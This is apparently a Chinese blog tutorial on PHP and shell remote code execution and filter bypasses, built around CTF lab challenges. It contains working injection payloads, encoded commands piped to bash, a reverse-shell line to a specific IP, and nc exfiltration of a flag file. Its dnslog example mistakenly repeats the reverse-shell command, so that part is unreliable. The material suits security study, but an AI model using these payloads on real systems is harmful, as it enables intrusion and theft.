RCE漏洞基础以及绕过

141次阅读
3 条评论

共计 5490 个字符,预计需要花费 14 分钟才能阅读完成。

what is RCE?

  • 目标:攻击者通过构造恶意输入或请求,绕过系统安全机制,在目标服务器或应用程序中注入并执行代码。
  • 本质:系统未对用户输入进行充分验证或过滤,导致攻击者能将恶意代码传递到执行环境中。

常见可以被利用的php函数

system()    # 语法 : system(string $command, int &$result_code = null)

eval()        #语法:eval(string $code) 把字符串作为PHP代码执行

passthru() #语法:passthru(string $command, int &$result_code = null)

exec()         #语法:exec(string $command, array &$output = null, int &$result_code = null)

shell_exec() #语法:shell_exec(string $command),通过 shell 执行命令并将完整的输出以字符串的方式返回

popen()         #popen(string $command, string $mode),打开指向进程的管道,进程由派生给定的 command 命令执行产生。

proc_open()     #比popen更加灵活

pcntl_exec()    #bool pcntl_exec(string $path, array $args = null, array $env = null)

warnings:system不需要提供$output函数,他是直接把结果返回出来,同样$return_var是执行的状态码

而exec函数需要提供$output函数才能,且返回的数据是array类型

shell_exec则与exec类似

RCE漏洞基础以及绕过

常见存在RCE漏洞的场景

常见触发场景

  • 用户输入未过滤:例如通过 HTTP 参数、表单、文件上传等传递恶意代码。
  • 反序列化漏洞:应用程序在反序列化数据时未验证数据合法性,导致恶意代码执行。
  • 命令拼接漏洞:代码中直接拼接用户输入到系统命令(如 system("ping " + user_input))。
  • 第三方组件漏洞:依赖的库或框架存在已知漏洞(如 Log4j 的 Log4Shell 漏洞,hoverfly的远程代码执行CVE-2025-24813 RCE复现-CSDN博客)。
  • 模板注入(Template Injection):用户输入被嵌入动态模板引擎,导致模板解析时执行任意代码。

(本次不做讲解)

  • 文件包含漏洞(File Inclusion)

示例:(pikachu靶场)

//通过用户输入拼接系统命令
$ip = $_GET['ip'];
system("ping " . $ip);    //输入127.0.0.1&&whoami

这里输入payload:

127.0.0.1&&whoami

出现了以下回显

RCE漏洞基础以及绕过

此类问题进行命令拼接的方式基本相同,我们可以多试几种命令拼接的方式,下面列出一些常见的拼接方式:

1. 使用分号 (;) 分隔命令

  • 分号用于分隔多个命令,这些命令会按顺序依次执行,无论前一个命令是否成功。
command1; command2; command3

2. 使用逻辑与 (&&) 和逻辑或 (||)

  • 逻辑与 (&&):只有当左边的命令成功执行(返回状态码为 0)时,才会执行右边的命令。
  command1 && command2

示例

  mkdir testdir && cd testdir
  • 如果 mkdir testdir 成功执行,才会执行 cd testdir
  • 逻辑或 (||):只有当左边的命令执行失败(返回状态码非 0)时,才会执行右边的命令。
  command1 || command2

示例

  ping -c 1 example.com || echo "Ping failed"
  • 如果 ping 命令失败,才会输出 “Ping failed”。 反引号(`)
  command1 `command2`

示例

  echo "Current directory is `pwd`"

### 7. 使用命令替换

命令替换会将命令的输出替换到当前命令中。

$( ... )command1 $(command2) 示例echo "Current directory is $(pwd)"

防护

  1. 禁用高危函数。
  2. 严格过滤特殊字符:黑白名单。
  3. 开启safe_mode

绕过防护手段

过滤空格

  • 大括号代替:{cat,/flag}等效于cat /flag
  • $IFS${IFS}$IFS$9
拓展:$IFS在linux下的作用

$IFS 是 Linux Shell 中的一个特殊环境变量,称为内部字段分隔符(Internal Field Separator)。它用于定义 Shell 在解析字符串时用作分隔符的字符集。

$IFS 的默认值是空格、制表符(Tab)和换行符(Newline)。这意味着当 Shell 遇到这些字符时,会将字符串分割成多个字段。
作用

$IFS 在以下场景中非常重要:

命令行参数解析:当 Shell 执行命令或脚本时,会根据 $IFS 的值将输入的字符串分割成多个参数。

文件内容处理:在读取文件内容时,$IFS 决定了如何将文件中的数据分割成字段。

循环遍历:在 for 循环中,$IFS 决定了如何将变量值分割成多个元素。

  • 重定向<cat<flag
  • URL编码:%09(tab的url编码)、%20

过滤关键命令或者关键词

1.过滤flag

  • 通配符绕过:
  • ?:代表单个字符。
  • * :模糊匹配,代表任意字符串。 如:cat fla*或者cat fla?
  • 或者用反斜线绕过

如:cat fla\g

  • 单引号或者双引号绕过 如cat f”lag或者cat f”l”a”g

2.过滤cat

  • 用类似命令代替
tac:反向查看。

more:逐页显示文档。

less:逐页显示文档。

tail:查看末尾几行。

nl:带行号显示。

od:二进制读取。

xxd:二进制读取。

sort:排序文件。

uniq:报错相关。

file -f:报错相关。#passthru("file -f /flag");

grep str file:在file中读取str

其他绕过方式

  • base64编码:举例如下:
`echo Y2F0IC9mbGFn | base64 -d | bash` #最终执行`cat /flag`。
`$(echo Y2F0IC9mbGFn | base64 -d)` # 效果相同。

上面也可以用其他编码方式,这次举例只用了base64

如hex编码:

echo "636174202F6574632F706173737764" | xxd -r -p|bash      #利用管道符将前面输出作为了后面的输入

以及反斜线和单引号,以及双引号

如ca\t flag以及ca”t f”la”g均可以

  • 利用未赋值变量绕过
$*和$@,$x(x 代表 1-9),${x}(x>=10) 
#比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
  • 拼接绕过

之前我们讲过,eval函数会将字符串当作php命令执行,我们可以利用拼接的方式构造出我们想要的字符串

如:

eval('(sy.(st).em)(whoami);');

长度过滤绕过

  • 对命令长度有限制时,通过 > 将命令一点点写入文件(使用 \ 连接换行命令),再用 ls -t按时间排列文件配合 > 写入同一个文件,最后使用 .sh 运行文件内容组成的命令。

如:

echo ‘cat\’>1.sh

echo ‘ /flag’>1.sh

sh 1.sh

  • 限制长度更小时,将ls -t>a命令也构造到文件中,可以一个个写入文件中,避免使用过长的命令,被运行的文件名使用_

如:

>ag
>fl\\
>'t \\'
>ca\\
ls -t >1.sh
sh 1.sh
  • 限制长度很小时,需要根据字母表顺序构造命令参数等内容。
  • 常用命令(举例,要开启ip 的监听)
  • curl ip | bash :在ipindex文件中写入反弹shell相关内容,如nc ip port -e /bin/bash
  • cat/flag | nc ip port 过滤目录分割符 拼接多条指令,如:
  127.0.0.1;cd flag;cat flag.txt

目前实战中更多是针对php的代码执行漏洞,大致分为人为制造漏洞,或者利用已知php架构的cms的漏洞

1.人为制造:多为传入参数,绕过指定函数的判断后执行命令

如:example1

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

(这道题过滤了数字和字母,需要用到变量自增)

分析正则表达式可知过滤了以下的字符:

  • [a-zA-Z0-9]:匹配所有英文字母(大小写)和数字。
  • @#%^&\*:{}\-<\?>\"|:匹配这些特殊符号,包括:
  • @#%^&*:{}-<>?"|
  • ~\\:匹配波浪号~和反斜杠\

最后经过变量自增以及拼接后最后的payload如图所示:

$_=''.[];                #PHP 在尝试将数组与字符串进行拼接时,会将数组强制转换为字符串 "Array"。所以$_=Array
$_=$_['_'];                #尝试访问字符串 "Array" 键为 _ 的值,当从字符串中访问不存在的键时,PHP 返回字符串的第一个字符。
$_++;                    #自增
$_++;
$_++;                    #$_=D
$__=++$_;                #$_=E;$__=E
$_++;                    #$__=F
$___=++$_;                
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_=_.$___.$__.$_;      #经一系列的自增以及拼接后$_最后为_GET
$$_[_]($$_[__]);         #最后得到$_GET[_]($GET[__]);
#结合get传参----get:?_=system&__=cat /f*;

example2 CTFHUB综合过滤

RCE漏洞基础以及绕过

这道题过滤了/,\,cat,flag.,;,||,&&等

这里我们可以用%0a(回车的url编码)进行命令拼接,通配符*代替flag,more代替cat,${IFS}或者%09代替空格

最终的payload

127.0.0.1%0acd%09flag_is_here%0amore%09flag.txt

2.已知cms漏洞:如thinkphp漏洞Think PHP漏洞总结(全系列) – lingzhi_sec – 博客园

​ 以及dedecms(织梦cms)织梦cms前端RCE织梦cms存在ssti导致RCE漏洞

例题:XCTF thinkphpV5,RCE漏洞复现攻防世界

example3

PHP伪协议文件包含实现RCE

常见伪协议(这里不展开细讲)

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

这里我们使用php伪协议包含进shell.txt,从而实现RCE

无回显RCE #(no_echo.php)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

思路1.反弹shell

/index.php?ip=127.0.0.1;sh -i >& /dev/tcp/114.132.166.145/6666 0>&1

​ 2.dnslog外带数据法

/index.php?ip=127.0.0.1;sh -i >& /dev/tcp/114.132.166.145/6666 0>&1

​ 3.使用sleep函数(类似布尔盲注)

example5

php伪协议加CVE组合拳

CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行(RCE)_cve-2024-2961复现-CSDN博客

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-03-17发表,共计5490字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(3 条评论)
Bail
2025-03-23 08:53:06 回复

什么是“>>”操作符?了解一下

 Android  Chrome  中国重庆重庆市联通
    2025-03-23 17:45:51 回复

    @Bail 上压力了嘛 :!:

     Windows  Edge  中国重庆重庆市联通